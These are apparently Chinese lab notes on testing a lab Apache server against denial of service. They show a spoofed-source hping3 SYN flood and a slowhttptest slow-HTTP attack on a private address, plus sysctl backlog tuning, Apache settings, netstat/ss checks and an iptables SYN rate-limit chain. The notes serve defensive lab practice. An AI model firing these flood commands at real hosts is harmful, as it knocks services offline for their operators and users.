注意修改IP与端口,端口一定要是服务器上开放的TCP端口
hping3 -S --flood --rand-source 192.168.164.136 -p 80
系统实际上会将上述两个值取较小值*2,来作为上限值,所以我们要修改这两个值
参数解释tcp_synack_retries表示收到SYN后发送SYN+ACK的重传次数,默认为5tcp_syncookies表示启用SYNCOOKIES功能,默认1即启用vi /etc/sysctl.conf,加入下面参数,并保存
net.ipv4.tcp_max_syn_backlog = 1024 net.ipv4.tcp_synack_retries =2 net.core.somaxconn = 1024sysctl -p
vi /etc/httpd/conf.modules.d/00-mpm.conf
systemctl restart httpd
查看当前队列数。需要注意的是,每个应用会有自己默认的最大队列。如SSH是128,APACHE是511,这个值,会与和我们设置的somaxconn取最小值。
查看当前端口的队列值,即SEND-Q ss -lnt
再次发起攻击 hping3 -S --flood --rand-source 192.168.164.136 -p 80
再次查看状态
netstat -an | grep SYN | wc -l //统计SYN半连接数,这里应该为2048iptables -nL
Chain INPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 syn-flood tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp flags:0x17/0x02 111 8244 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22 2 569 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited Chain OUTPUT (policy ACCEPT 19 packets, 1892 bytes) pkts bytes target prot opt in out source destination Chain syn-flood (1 references) pkts bytes target prot opt in out source destination 0 0 RETURN tcp -- * * 0.0.0.0/0 0.0.0.0/0 limit: avg 3/sec burst 6 0 0 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-port-unreachable以80端口为例,开启服务器的http服务
systemctl start http
slowhttptest -c 1000 -B -g -i 10 -r 200 -u http://192.168.164.136 -x 1024 -p 3
攻击后,分别使用attact和其它计算机访问http://192.168.164.136,观察能否正常访问